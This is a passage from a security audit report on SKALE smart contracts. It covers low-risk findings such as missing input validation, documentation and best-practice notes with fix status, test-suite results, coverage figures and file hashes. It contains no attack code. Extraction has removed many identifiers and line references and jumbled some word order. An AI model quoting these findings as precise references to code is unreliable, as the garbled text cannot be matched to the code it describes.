affected: delegation/TokenState.sol In , : the event is emitted regardless of whether the locked gets removed or not. Description: delegation/TokenState.sol L73 Confirming if this behaviour is intentional and fixing it as necessary. Recommendation: : Fixed in . Update 1da7bbd QSP-26 Missing Input Validation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol, contracts/Permissions.sol The following locations are missing input parameter validation: Description: 1. , : should check that is a non-zero address. delegation/TokenLaunchManager.sol L74 seller 2. , : should check that is a non-zero address while is above zero. delegation/TokenLaunchManager.sol L56 walletAddress[i] value[i] 3. , : should be checked to be non-zero. contracts/Permissions.sol L36 _contractManagerAdding the missed input validation. Recommendation: : Fixed in . Update 1da7bbd Adherence to Specification Generally, it is difficult to assess full adherence to the specification since the specification is incomplete, and the code appears to be poorly documented. This remains to be an issue for the latest commit . For the commit : remediation-3 50c8f4e , : the requirement described in the comment is actually not enforced in the code. in . •delegation/DelegationPeriodManager.solL43 remove only if there is no guys that stacked tokens for this period Fixed bd17697: : We believe the is used because "Delegation requests are always for the next epoch (month)." as per the Spec document, but this should be clarified in the code directly. (code removed). •delegation/TimeHelpers.solL42 + 1 Fixed : - the rationale for the logic in this function is not documented, and therefore, is difficult to assess. (code refactored). •delegation/TimeHelpers.solcalculateDelegationEndTime() Fixed Code Documentation The code appears to be poorly documented. The function descriptions from the Spec document should be directly inlined in the code. The coupling of the contracts with various statements makes the architecture difficult to follow. In addition, there are grammatical errors in documentation, and we suggest spell-checking all the comments in the project. This remains to be an issue for the latest commit as well, while some of the issues highlighted for commit were fixed. allow()remediation-3 50c8f4e : For the commit 50c8f4e 1. , : The function increases the allowance of each wallet address ( on ). This should be documented, since the typical function sets the approval to the new value. The semantics of this function more closely relates to . : in . delegation/TokenSaleManager.solL47 approve() += L51ERC20.approve() increaseApproval() Fixed 1da7bbd2. , : a typo: "begining". (removed). interfaces/delegation/IHolderDelegation.sol L26 Fixed 3. , : "it's" -> 'its". (removed). interfaces/delegation/IHolderDelegation.sol L34 Fixed 4.: : "for this moment in skale manager system by human name." Perhaps, changing this to "This contract contains the current mapping from contract IDs (in the form of human-readable strings) to addresses."`. (removed). ContractManager.solL27 Fixed 5. , (similar on ): "is not equal zero" -> "is not equal to zero". (removed). ContractManager.sol L43 L44 Fixed 6. , : "is not contain code" -> "does not contain code". (removed). ContractManager.sol L54 Fixed 7. , : typo in "epmtyArray". (removed). delegation/ValidatorService.sol L68 Fixed 8. : : "specify" -> "the specified". . SkaleToken.sol L58 Fixed 9. , : typo: "founds" -> "found". . delegation/DelegationService.sol L251 Fixed : For the commit remediation-3 1. , : : a potential typo ( seems to be the intended name). . delegation/DelegationController.solL582 subtractFromLockedInPerdingDelegations(...)subtractFromLockedInPendingDelegations Fixed 2. , : - a typo. . ConstantsHolder.sol L146 iverloadedFixed 3. , : The event field is misspelled. . DelegationPeriodManager.sol L32 legth Fixed Adherence to Best Practices : For the commit 50c8f4e 1. , : this could be replaced by the which contains more robust checks for contracts. . ContractManager.sol L49-54 Open Zeppelin Address library Not fixed 2. Favour usinginstead of . . uint256 uint Not fixed 3. Cyclic imports in. Generally, the architecture is a bit hard to follow. . delegation/* Not fixed 4. The contracts use almost no events, which could make contract monitoring more difficult than necessary.(now events are used). Fixed 5. , : commented out code and a TODO. (file removed). interfaces/delegation/IValidatorDelegation.sol L53-54 Fixed 6. , (and similarly, ): could simply be . . delegation/ValidatorService.solL136 L127 return getValidatorId(validatorAddress) == validatorId ?true : false return getValidatorId(validatorAddress) == validatorId Not fixed 7. , : The constructor should check that is non-zero. in . Permissions.sol L68 newContractsAddress Fixed c6718398. , : can simplify to . . delegation/DelegationPeriodManager.sol L35 return stakeMultipliers[monthsCount] != 0; Not fixed 9. , : a leftover TODO. . delegation/TokenState.sol L132 Fixed 10. , : a modifier is commented out, need to confirm if it is intentional or not. (confirmed it is a comment). SkaleToken.sol L75 Addressed 11. , : is not the most intuitive name, because it actually modifies the contract's state. Suggesting naming it . The same applies to the methods , , , and other files, such as on , . . delegation/DelegationController.solL78 getStaterefreshState getActiveDelegationsByValidator getDelegationsTotal getDelegationsByHolder getDelegationsForValidator getPurchasedAmount TokenState.sol L159 Fixed 12. , : should check that and are non-zero. . delegation/DelegationService.solL180 linkNodeAddress()nodeAddress validatorAddress Fixed 13. and : , is unnecessary. (a false-positive). interfaces/delegation/IValidatorDelegation.soldelegation/DelegationController.sol L21 pragma experimentalABIEncoderV2; Fixed 14. , : usused variable . . delegation/DelegationController.sol L78 state Fixed 15. , : unless the order matters, instead of running the inner loop ( ), could move the last element into . . delegation/TokenState.solL246-256 L249-251 _endingDelegations[delegation.holder][i] Fixed 16. , : should check that is non-zero. . delegation/ValidatorService.sol L56 registerValidator()validatorAddress Fixed : For the commit remediation-3 1. : the structs and look very similar: the purpose for having both remains unclear. Also, it does not follow a naming practice of not using the word “Value” DelegationPeriodManager.solPartialDifferencesValue PartialDifferences 2. : readability and potential error-proneness of the method. The code of seems to be complex. The function has five overloads, and two of them have overlap. The logic of calculating the differences is intertwined with the handling of corner cases of . The overloads of at and have significant overlaps, and it is unclear why both are needed. DelegationPeriodManager.solreduce(...) delegation/DelegationConroller.sol reduce firstUnprocessedMonth reduce L780 L815 3. : and : and seem to be identical - any reason for having two different methods? DelegationPeriodManager.solL250 L254 getAndUpdateLockedAmount(...)getAndUpdateForbiddenForDelegationAmount(...) 4. , : could be replaced with instead of repeatedly adding to each term DelegationPeriodManager.solL289-313 currentMonth.add(1) delegations[delegationId].started 1 5. , : naming does not differentiate the units, which could lead to bugs: DelegationPeriodManager.sol L55-56 uint created; // time of creation - measured as a timestampuint started; // month when a delegation becomes active - measured in months 6. , : changes its meaning after a re-assignment, this is not recommended.DelegationPeriodManager.sol L642 ifor (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { 1. : fraction and GCD methods should be placed in a separate file. DelegationPeriodManager.sol 2. , : should be a shared constant delegation/ValidatorService.sol L99 10003. , and : is unnecessary delegation/ValidatorService.sol L186 L194? true : false;4. , : could be delegation/DelegationPeriodManager.sol L38 return stakeMultipliers[monthsCount] != 0 ? true : false;return (stakeMultipliers[monthsCount] != 0) 5. , : the constant should be defined as a named constant at the contract level delegation/Distributor.sol L83 3 6. , : the message should say “Fee is locked” delegation/Distributor.solL108 require(now >= timeHelpers.addMonths(constantsHolder.launchTimestamp(), 3),"Bounty is locked"); 7. , : duplicate definitions of and : already defined in . delegation/TokenLaunchLocker.solL46 PartialDifferencesValue getAndUpdateValue(...) DelegationController.sol 8. , : is unused (outside tests). utils/MathUtils.sol L40 boundedSubWithoutEvent(...)9. , : the amount emitted in should possibly be in the case that . delegation/Punisher.solL68 Forgive() _locked[holder] amount > _locked[holder] 10. : the function should have the require check that similar to in . Otherwise, this function could potentially shorten the list of validators without actually finding the correct one. delegaion/ValidatorService.soldeleteNode() position < validatorNodes.length checkPossibilityToMaintainNode() 11. : the internal function on does not appear to be used. delegation/DelegationController.sol init() L628 12. : The else-branch on of can never be reached due to and . It is not clear what the intended semantics here. Likely, needs a similar to . delegation/DelegationController.solL698 add()L686 L688L686 .add(1) L703 13. : The if-conditional on can never fail due to the require-condition on , and should be removed. delegation/DelegationController.solL725 sequence.firstUnprocessedMonth <= monthL720 month.add(1) >= sequence.firstUnprocessedMonth14. : Lots of duplicate code in the two functions on and . delegation/DelegationController.sol reduce() L780 L81515. : The require on : is not necessary due to the use of directly below. delegation/DelegationController.solL586 _lockedInPendingDelegations[holder].amount >= amount.sub() Test Results Test Suite Results For the commit , within the scope of the audit, two tests have failed on our side. We re-ran the tests for the commit , and they all passed. remediation-39d60180 Contract: ContractManager ✓ Should deploy ✓ Should add a right contract address (ConstantsHolder) to the register (100ms) Contract: Delegation when holders have tokens and validator is registered ✓ should check 1 month delegation period availability ✓ should not allow to send delegation request for 1 month (421ms) ✓ should check 2 months delegation period availability (49ms) ✓ should not allow to send delegation request for 2 months (379ms) ✓ should check 3 months delegation period availability ✓ should check 4 months delegation period availability ✓ should not allow to send delegation request for 4 months (299ms) ✓ should check 5 months delegation period availability ✓ should not allow to send delegation request for 5 months (324ms) ✓ should check 6 months delegation period availability ✓ should check 7 months delegation period availability ✓ should not allow to send delegation request for 7 months (333ms) ✓ should check 8 months delegation period availability ✓ should not allow to send delegation request for 8 months (327ms) ✓ should check 9 months delegation period availability ✓ should not allow to send delegation request for 9 months (331ms) ✓ should check 10 months delegation period availability ✓ should not allow to send delegation request for 10 months (351ms) ✓ should check 11 months delegation period availability ✓ should not allow to send delegation request for 11 months (336ms) ✓ should check 12 months delegation period availability ✓ should check 13 months delegation period availability ✓ should not allow to send delegation request for 13 months (370ms) ✓ should check 14 months delegation period availability ✓ should not allow to send delegation request for 14 months (300ms)✓ should check 15 months delegation period availability ✓ should not allow to send delegation request for 15 months (335ms) ✓ should check 16 months delegation period availability ✓ should not allow to send delegation request for 16 months (573ms) ✓ should check 17 months delegation period availability ✓ should not allow to send delegation request for 17 months (345ms) ✓ should check 18 months delegation period availability ✓ should not allow to send delegation request for 18 months (349ms) ✓ should not allow holder to delegate to unregistered validator (320ms) ✓ should calculate bond amount if validator delegated to itself (2725ms) ✓ should calculate bond amount if validator delegated to itself using different periods (2601ms) ✓ should bond equals zero for validator if she delegated to another validator (3819ms) ✓ should be possible for N.O.D.E. foundation to spin up node immediately (461ms) Reduce holders amount to fit Travis timelimit ✓ should be possible to distribute bounty accross thousands of holders (23927ms) when delegation period is 3 months ✓ should send request for delegation (575ms) when delegation request is sent ✓ should not allow to burn locked tokens (796ms) ✓ should not allow holder to spend tokens (2199ms) ✓ should allow holder to receive tokens (448ms) ✓ should accept delegation request (455ms) ✓ should unlock token if validator does not accept delegation request (1152ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6710ms) when delegation period is 6 months ✓ should send request for delegation (740ms) when delegation request is sent ✓ should not allow to burn locked tokens (789ms) ✓ should not allow holder to spend tokens (2758ms) ✓ should allow holder to receive tokens (396ms) ✓ should accept delegation request (528ms) ✓ should unlock token if validator does not accept delegation request (1382ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (7343ms) when delegation period is 12 months ✓ should send request for delegation (671ms) when delegation request is sent ✓ should not allow to burn locked tokens (685ms) ✓ should not allow holder to spend tokens (2252ms) ✓ should allow holder to receive tokens (616ms) ✓ should accept delegation request (394ms) ✓ should unlock token if validator does not accept delegation request (1397ms) when delegation request is accepted ✓ should extend delegation period if undelegation request was not sent (6210ms) when 3 holders delegated ✓ should distribute funds sent to Distributor across delegators (5112ms) Slashing ✓ should slash validator and lock delegators fund in proportion of delegation share (4354ms) ✓ should not lock more tokens than were delegated (1838ms) ✓ should allow to return slashed tokens back (1415ms) ✓ should not pay bounty for slashed tokens (2847ms) ✓ should reduce delegated amount immediately after slashing (625ms) ✓ should not consume extra gas for slashing calculation if holder has never delegated (3706ms) Contract: DelegationController when arguments for delegation initialized ✓ should reject delegation if validator with such id does not exist (281ms) ✓ should reject delegation if it doesn't meet minimum delegation amount (282ms) ✓ should reject delegation if request doesn't meet allowed delegation period (344ms) ✓ should reject delegation if holder doesn't have enough unlocked tokens for delegation (952ms) ✓ should send request for delegation (876ms) ✓ should reject delegation if it doesn't have enough tokens (2037ms) ✓ should reject canceling if delegation doesn't exist (63ms) ✓ should allow to delegate if whitelist of validators is no longer supports (1324ms) when delegation request was created ✓ should reject canceling request if it isn't actually holder of tokens (67ms) ✓ should reject canceling request if validator already accepted it (448ms) ✓ should reject canceling request if delegation request already rejected (248ms) ✓ should change state of tokens to CANCELED if delegation was cancelled (209ms) ✓ should reject accepting request if such validator doesn't exist (126ms) ✓ should reject accepting request if validator already canceled it (364ms) ✓ should reject accepting request if validator already accepted it (565ms) ✓ should reject accepting request if next month started (526ms) ✓ should reject accepting request if validator tried to accept request not assigned to him (295ms) ✓ should allow for QA team to test delegation pipeline immediately (2015ms) when delegation is accepted ✓ should allow validator to request undelegation (530ms) ✓ should not allow everyone to request undelegation (713ms) Contract: PartialDifferences ✓ should calculate sequences correctly (1345ms) Contract: TokenLaunchManager ✓ should register seller (177ms) ✓ should not register seller if sender is not owner (81ms) when seller is registered ✓ should not allow to approve transfer if sender is not seller (59ms) ✓ should fail if parameter arrays are with different lengths (67ms) ✓ should not allow to approve transfers with more then total money amount in sum (156ms) ✓ should not allow to retrieve funds if it was not approved (114ms) ✓ should not allow to retrieve funds if launch is not completed (159ms) ✓ should allow seller to approve transfer to buyer (1735ms) ✓ should allow seller to change address of approval (851ms) ✓ should allow seller to change value of approval (702ms) when holder bought tokens ✓ should lock tokens (748ms) ✓ should not unlock purchased tokens if delegation request was cancelled (1506ms) ✓ should be able to delegate part of tokens (4713ms) ✓ should unlock all tokens if 50% was delegated for 90 days (3020ms)✓ should unlock no tokens if 40% was delegated (2451ms) ✓ should unlock all tokens if 40% was delegated and then 10% was delegated (5434ms) ✓ should unlock tokens after 3 month after 50% tokens were used (3733ms) ✓ should unlock tokens if 50% was delegated and then slashed (2787ms) ✓ should not lock free tokens after delegation request cancelling (2929ms) Contract: DelegationController ✓ should not lock tokens by default (205ms) ✓ should not allow to get state of non existing delegation when delegation request is sent ✓ should be in `proposed` state (98ms) ✓ should automatically unlock tokens after delegation request if validator don't accept (270ms) ✓ should allow holder to cancel delegation before acceptance (744ms) ✓ should not allow to accept request after end of the month (510ms) when delegation request is accepted ✓ should allow to move delegation from proposed to accepted state (261ms) ✓ should not allow to request undelegation while is not delegated (161ms) ✓ should not allow to cancel accepted request (168ms) when 1 month was passed ✓ should become delegated (256ms) ✓ should allow to send undelegation request (923ms) Contract: ValidatorService ✓ should register new validator (155ms) ✓ should reject if validator tried to register with a fee rate higher than 100 percent (61ms) when validator registered ✓ should reject when validator tried to register new one with the same address (64ms) ✓ should reset name, description, minimum delegation amount (203ms) ✓ should link new node address for validator (138ms) ✓ should reject if linked node address tried to unlink validator address (150ms) ✓ should reject if validator tried to override node address of another validator (333ms) ✓ should not link validator like node address (220ms) ✓ should unlink node address for validator (460ms) ✓ should not allow changing the address to the address of an existing validator (168ms) ✓ should reject when someone tries to set new address for validator that doesn't exist (60ms) ✓ should reject if validator tries to set new address as null (61ms) ✓ should reject if provided validatorId equals zero (65ms) ✓ should return list of trusted validators (442ms) when validator requests for a new address ✓ should reject when hacker tries to change validator address (89ms) ✓ should set new address for validator (153ms) when holder has enough tokens ✓ should allow to enable validator in whitelist (112ms) ✓ should allow to disable validator from whitelist (311ms) ✓ should not allow to send delegation request if validator isn't authorized (284ms) ✓ should allow to send delegation request if validator is authorized (525ms) ✓ should be possible for the validator to enable and disable new delegation requests (1642ms) Contract: SkaleManager ✓ should fail to process token fallback if sent not from SkaleToken (80ms) ✓ should transfer ownership (199ms) when validator has delegated SKALE tokens ✓ should create a node (588ms) ✓ should not allow to create node if validator became untrusted (1047ms) when node is created ✓ should fail to init exiting of someone else's node (180ms) ✓ should initiate exiting (370ms) ✓ should remove the node (457ms) ✓ should remove the node by root (410ms) when two nodes are created ✓ should fail to initiate exiting of first node from another account (168ms) ✓ should fail to initiate exiting of second node from another account (168ms) ✓ should initiate exiting of first node (382ms) ✓ should initiate exiting of second node (389ms) ✓ should remove the first node (416ms) ✓ should remove the second node (436ms) ✓ should remove the first node by root (410ms) ✓ should remove the second node by root (756ms) ✓ should check several monitoring periods (5157ms) when 18 nodes are in the system ✓ should fail to create schain if validator doesn't meet MSR (449ms) ✓ should fail to send monitor verdict from not node owner (146ms) ✓ should fail to send monitor verdict if send it too early (172ms) ✓ should fail to send monitor verdict if sender node does not exist (148ms) ✓ should send monitor verdict (258ms) ✓ should send monitor verdicts (433ms) when monitor verdict is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (120ms) ✓ should estimate bounty (277ms) ✓ should get bounty (3190ms) when monitor verdict with downtime is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (271ms) ✓ should get bounty (4312ms) ✓ should get bounty after break (4211ms) ✓ should get bounty after big break (4157ms) when monitor verdict with latency is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (115ms) ✓ should get bounty (3389ms) ✓ should get bounty after break (3186ms) ✓ should get bounty after big break (6498ms) when developer has SKALE tokens ✓ should create schain (3345ms) when schain is created ✓ should fail to delete schain if sender is not owner of it (213ms) ✓ should delete schain (2039ms) ✓ should delete schain after deleting node (4645ms) when another schain is created✓ should fail to delete schain if sender is not owner of it (180ms) ✓ should delete schain by root (2712ms) when 32 nodes are in the system when developer has SKALE tokens ✓ should create 2 medium schains (6351ms) when schains are created ✓ should delete first schain (2249ms) ✓ should delete second schain (2254ms) when 16 nodes are in the system ✓ should create 16 nodes & create & delete all types of schain (38429ms) Contract: SkaleToken ✓ should have the correct name ✓ should have the correct symbol ✓ should have the correct decimal level ✓ should return the сapitalization of tokens for the Contract ✓ owner should be equal owner (41ms) ✓ should check 10 SKALE tokens to mint (38ms) ✓ the owner should have all the tokens when the Contract is created ✓ should return the total supply of tokens for the Contract ✓ any account should have the tokens transferred to it (424ms) ✓ should not let someone transfer tokens they do not have (1006ms) ✓ an address that has no tokens should return a balance of zero ✓ an owner address should have more than 0 tokens ✓ should emit a Transfer Event (335ms) ✓ allowance should return the amount I allow them to transfer (84ms) ✓ allowance should return the amount another allows a third account to transfer (81ms) ✓ allowance should return zero if none have been approved for the account ✓ should emit an Approval event when the approve method is successfully called (57ms) ✓ holder balance should be bigger than 0 eth ✓ transferFrom should transfer tokens when triggered by an approved third party (404ms) ✓ the account funds are being transferred from should have sufficient funds (1000ms) ✓ should throw exception when attempting to transferFrom unauthorized account (685ms) ✓ an authorized accounts allowance should go down when transferFrom is called (428ms) ✓ should emit a Transfer event when transferFrom is called (394ms) ✓ should emit a Minted Event (420ms) ✓ should emit a Burned Event (320ms) ✓ should not allow reentrancy on transfers (1790ms) ✓ should not allow to delegate burned tokens (2591ms) ✓ should parse call data correctly (423ms) Contract: MathUtils ✓ should properly compare (42ms) ✓ should properly approximately check equality (80ms) in transaction ✓ should subtract normally if reduced is greater than subtracted 3 string ✓ should return 0 if reduced is less than subtracted and emit event (74ms) in call ✓ should subtract normally if reduced is greater than subtracted ✓ should return 0 if reduced is less than subtracted Code Coverage : For the commit 50c8f4e The contracts that are in-scope are generally well-covered with tests: for most files, test coverage exceeds 90%. However, some lines could use additional coverage, such as: , : testing delegation completion • delegation/DelegationControllerL119-120 , : testing an edge case for slashing forgiveness • delegation/TokenState.solL121 , : testing bounty locking • delegation/SkaleBalancesL74-75 The third-party library has a coverage of only 23.77%, however, it appears to have its own test suite in the upstream repository. BokkyPooBahsDateTimeLibrary.sol, we recommend improving branch coverage for the files that are lacking coverage. For specifically, test coverage seems to be low at the commit we are auditing. For the commitremediation-3 TokenState.sol We re-ran the tests for the commit , and some files still have low coverage, including . We recommend improving code coverage. Update:9d60180 TokenState.sol File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 95.74 74.59 95.69 95.84 ConstantsHolder.sol 84 25 72.73 84 192,196,200,201 ContractManager.sol 100 62.5 100 100 Decryption.sol 100 100 100 100 ECDH.sol 95.77 75 100 95.77 160,187,229 Monitors.sol 97.44 90.63 95 97.62 127,218,276 File% Stmts % Branch % Funcs % Lines Uncovered Lines Nodes.sol 98.56 78.26 97.37 98.04 356,509,538 Permissions.sol 88.89 60 83.33 84.62 76,82 Pricing.sol 97.67 85.71 100 97.67 74 Schains.sol 94.81 72 94.74 94.74 … 229,230,231 SchainsInternal.sol 93.85 85.71 94.12 94.34 … 549,648,734 SkaleDKG.sol 95.3 58.33 100 96.15 … 176,478,489 SkaleManager.sol 96.75 76 100 96.75 257,292,314,366 SkaleToken.sol 100 66.67 100 100 SkaleVerifier.sol 94.74 78.57 100 94.74 61 SlashingTable.sol 100 100 100 100 contracts/ delegation/ 93.3 75.31 95.95 93.06 DelegationController.sol 95.59 84.88 96 95.57 … 736,748,786 DelegationPeriodManager.sol 71.43 100 66.67 71.43 55,57 Distributor.sol 94.29 69.23 100 94.29 179,186,208,214 PartialDifferences.sol 89.11 76.09 100 90 … 295,296,299 Punisher.sol 100 50 100 94.44 94 TimeHelpers.sol 100 50 100 100 TokenLaunchLocker.sol 97.78 77.27 100 97.96 89 TokenLaunchManager.sol 100 68.75 100 100 TokenState.sol 64 0 80 59.26 … 104,105,106 ValidatorService.sol 94.32 78.26 93.75 94.68 … 394,420,437 contracts/ utils/ 98.06 76.32 97.22 98.11 FieldOperations.sol 96.92 83.33 100 96.92 171,250 FractionUtils.sol 94.44 50 83.33 94.44 43 MathUtils.sol 100 87.5 100 100 Precompiled.sol 100 50 100 100 StringUtils.sol 100 100 100 100 All files 95.12 75 95.91 95.1 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 3b5f554e5cb3ba6e111b3bf89c21fe4f20640da5a10e87bcb4670eccc3329d62 ./contracts/ContractManager.sol e2a5194a012c8dbda09796f9d636a3b0ca9f926f9368ce3d4a5d41f9b05ed908 ./contracts/Permissions.sol 6c233479d7dca03fd9524e1fd5991e60cd4e15b049b61e4ad5200039076e4270 ./contracts/SkaleToken.sol a6c52a9b24669db1ca15ac63a650c573020bfaa78e67dc63dd9a37e2c0f45188 ./contracts/SkaleManager.sol 2abb171a3bdf413e1a6bd8bfbc920251c162a9240a665bc4eec4415ac27e6f01 ./contracts/interfaces/delegation/IDelegatableToken.sol daf515794090cf18eda69ff4c2f42ae17c28cf9d64e89343e196683167aa57ab ./contracts/interfaces/delegation/ILocker.sol df46ac05894d217c532804c2a37ae95e2bfab384ff97a0a86e5fdf05da49d9c3 ./contracts/thirdparty/BokkyPooBahsDateTimeLibrary.sol 4985fcdd612c04439424e00942b627d604779640fa4216279779547e9624e01a ./contracts/thirdparty/openzeppelin/ERC777.sol 0ab43141c1be6c6764ed9c15c9b87a803250ff4ad57b56bd0be002b9358260d8 ./contracts/delegation/Punisher.sol c13f4a58aac93d20b667f62b880627f4681ea5aaa2ec1a86c8f93cee55f342b5./contracts/delegation/DelegationPeriodManager.sol 921d6266a1bfbe97259e34c90d854841ee87d6dce183edc9bb1fd577c9089370 ./contracts/delegation/TimeHelpers.sol eab81a275aa9464e4e81d10e99817e867f586c3c81000d8b2472a8497e3527db ./contracts/delegation/TokenLaunchLocker.sol 7a63cff448c2d7b2f4862548444ba6bf8bb137fb22aec68487104dd483ae87a5 ./contracts/delegation/PartialDifferences.sol 1fdeaae183e4c3685cea9b860a5fc1720d7e8a309c9108f70e3e0286ce2f37b0 ./contracts/delegation/TokenState.sol b8968762050d788c908042a217a4942dcc3a49de961b5f046a26e05acdfe6885 ./contracts/delegation/Distributor.sol e0ee452239ff287f3719eae71c464422f0963696467b656f1fda3f512ab2c5ed ./contracts/delegation/DelegationController.sol 1459d07fee70ad118790f5797690ea7826170bc2be2d6594b22d8ab0fad288cc ./contracts/delegation/TokenLaunchManager.sol b2242ae9b1ff600ec27ffe19d4a9ca2f97a72d13573f00ac8e494b3b018203c2 ./contracts/delegation/ValidatorService.sol 9ccbd82dab4f785b8ab3be31daad3bffa7b2a9043a3a78d18c5a65cdc756d115 ./contracts/utils/MathUtils.sol c5eb14b8c58067d273ca65714ab37dd7245e8dbbcc78f698f741dc265d0b8ecf ./contracts/utils/StringUtils.sol Tests 7445aec498345cbcfd2f7e23d544d6162dcd55c83f67094b84198d1c07a63d39 ./test/ECDH.ts 1c6e373bbf0df3ea96edbebb4f37d71668c752055127d5f806be391d1991dbba ./test/SkaleToken.ts 8fe27026eaa30c437fac34bf3fa16e6d148b7c3468af5c91d88ccf0e108ca0b2 ./test/Schains.ts 269ce78a5ede9b3f142b1bf2c6ea4c9e930ad46e0bc5874e96f94b30ce836c67 ./test/Monitors.ts 774772f446f0a778e652799612a5d25864f39cebc956d0010ad3006146dba14d ./test/SkaleDKG.ts 85de8a2a0f8c62ea54b599d11a72e88fe4e1911fd116f0523e861b59cef06fd2 ./test/Pricing.ts 38758b00b5a8f7218103e12f5b680d10392722110e2272c6443b71b386348c56 ./test/SkaleVerifier.ts 0a019c657a6e51b17f143906802139a99d99c4649a38dcdda9632023f2aaf822 ./test/ContractManager.ts 357e8e0d92cd9de52c3a2894688e95d3978136977a6e525d733117bd5ae922c4 ./test/ConstantsHolder.ts 31ccd2f2d91adeeb739b7ebb3c4ae81b785f1c1f0c0c4f31e108f9d94435b1a3 ./test/NodesFunctionality.ts f4c07816c16a02470b487bd3e0f9deca7cc766ea8b539bd9dd1b10c7a274cca4 ./test/Decryption.ts 8dc44b1e7fa1796ee22036e1d5d82560714d7f24727a0f352db5f4a864b1d434 ./test/SkaleManager.ts 68fc99377576c7aea33cef124a60dfdc0e0cbe68280c60a69e9b07e753d31992 ./test/SchainsInternal.ts a2151cd98c0ca5c72ef12eda9331ccd28d7ee802d5e34dc22ef3d75b8d590cf2 ./test/NodesData.ts 0f90907534d86572f02d497f94c2d5d5b24d2d94b8c3df127d3445c89ea91fd4 ./test/delegation/Delegation.ts 0382677cdd6689a25c897f1449ba7cd7bfc8f546584275a9972053ba89ccd917 ./test/delegation/TokenState.ts 172239c144c2ad8c1656de650f74f9b678b70e5e7ec6341fc22e4486dd8e9a5c ./test/delegation/TokenLaunch.ts ee262687c8073fdc4489e6706413566731e3be1948f000f3b2f3c3add7308c5c ./test/delegation/PartialDifferences.ts 337c1b7ec194402da5204b1fc12ed84493079410a7acf160a03254f3c771998c ./test/delegation/DelegationController.ts a0392eb0a3b5c33d7a3c55f8dbeafbe7c0867542a4ed82d9eac19cc8816d28c7 ./test/delegation/ValidatorService.ts a3aaaacce8e943257a9861d9bc8400a6531ced268203a820385116a7e0d247b2 ./test/utils/MathUtils.ts a01b72aafb9900064e91dc53380d8aa8737f4baa72f54136d7d55553cceb9742 ./test/tools/types.ts 90c2bdf776dc095f4dd0c1f33f746bea37c81b3ad81d51571d8dc84d416ecd13 ./test/tools/elliptic-types.ts 166431169af5c5def41b885179f26f0b9a977091c62e2ef4c05547a0bd9ab4f0 ./test/tools/command_line.ts d41442de652a1c152afbb664069e4dd836c59b974c2f2c0955832fdcc617f308 ./test/tools/time.ts 862b66e303fdcd588b5fcd9153812893d22f9fe1acabf323e0eaaa5cfd778a0d ./test/tools/deploy/ecdh.ts 36f24255c90a436abce5ab1b2a14d2e19dda0402b7292bc5b52089689f56b20c ./test/tools/deploy/skaleToken.ts 7d52ba16d9dfed2314f6d140aa99f9e76a674d35a1960dcaf268f57b4d777aa5 ./test/tools/deploy/schains.ts d020d06aa6b43356332f078b22b9639d7a224642ac447618ce2f21e00252c15f ./test/tools/deploy/monitors.ts 1aa57879dc8cc4150e55f84c884c041ca387d82784fe49163e4ba00ac0c4c917 ./test/tools/deploy/nodes.ts 2eef616fd6dd94f7e71bbbfa49a280db9453d953867f7cd2d9ccbe5150e6ac42 ./test/tools/deploy/skaleDKG.ts b737e22a2a4958a1d8d6c0348bccc77b373ba71b4c74aa7798bb433014c120ce ./test/tools/deploy/pricing.ts 63e4802674e494a990b3ed5fe2dfcd32a5333320126f9ecc2856ac278b2dbb5c ./test/tools/deploy/slashingTable.ts a911fb09c3f47d109a5a668df47a8b7a6e99788966ab82dd1565bbf9515a59b5 ./test/tools/deploy/skaleVerifier.ts d98550c2db28471ff0a861987f5a3b0616b19ae08cd4256ab88c28194ebd947d ./test/tools/deploy/contractManager.ts de7143ec7676eb978f26e9c8bb55ac861a43d4b4089ab7701d71e42335943881 ./test/tools/deploy/factory.ts 928b1bd747e8cb8715d6547f445e186949c0a70bf9257711e1e7d0cd62126385./test/tools/deploy/constantsHolder.ts af7bcb8cfef5f110a1ee4c6a14451f9caaf0d00308a9fd5cd30bcf7759bb7720 ./test/tools/deploy/skaleManager.ts 6441be737f66551ec611210b7eff5128f8ced40cc4e6ac2e8bc865f866889480 ./test/tools/deploy/schainsInternal.ts 182d8295b09d1184f8bae29aef2a86e7b98c164d506997ed789625867534c799 ./test/tools/deploy/dectyption.ts c1e81470f0ae2a1a2ca82c145b5050d95be248ca7e5d8a7b0f40f08cc568df34 ./test/tools/deploy/delegation/punisher.ts 4224ab4d3e35bf3de906f9ac07ec553d719cc0810a01dcb750b18d8f59e8d2bb ./test/tools/deploy/delegation/tokenState.ts 40cebd0731796b38c584a881d4cef78532ca4a7bab456d79194de54cd6aae740 ./test/tools/deploy/delegation/tokenLaunchLocker.ts 29f342e6ec0b662fe021acf4e57691dfeec1a78c8624134287b9ef70cbba9de9 ./test/tools/deploy/delegation/tokenLaunchManager.ts 3b3657a436f5437bba6c9ff07e9a90507aceb7456466b851d33b4aa84c3377d3 ./test/tools/deploy/delegation/delegationController.ts 14663bff4b527d8b08c81ea577dceff2a70ea173816590a9d3b72bd8b5bf9b9e ./test/tools/deploy/delegation/distributor.ts 447f41a342e6645a08a6b96bd4e88abfc5009973af2526f8d410bfc7b7fa7046 ./test/tools/deploy/delegation/delegationPeriodManager.ts ff7d5f2a19c6766e728f1fcbc037c412f532649be1f448487c51e5f2ffa38c1b ./test/tools/deploy/delegation/timeHelpers.ts 9a19073e52af0e230516006d0f1eecafe320defa4808d9f3484b11db0e584c36 ./test/tools/deploy/delegation/validatorService.ts 8bee5eef07f2e98c9fb49880d682b7e350cd0ace0d1e1c56a56d220361616355 ./test/tools/deploy/test/partialDifferencesTester.ts 169c8f3df4758ae9780cff15eef9ada9549d1a082aff0302a25dc467e1616e4a ./test/tools/deploy/test/timeHelpersWithDebug.ts 65a100c7361f1fbb6c537c68aa9319519b39acf58e870bca6148725747638644 ./test/tools/deploy/test/reentracyTester.ts Changelog 2020-02-12 - Initial report 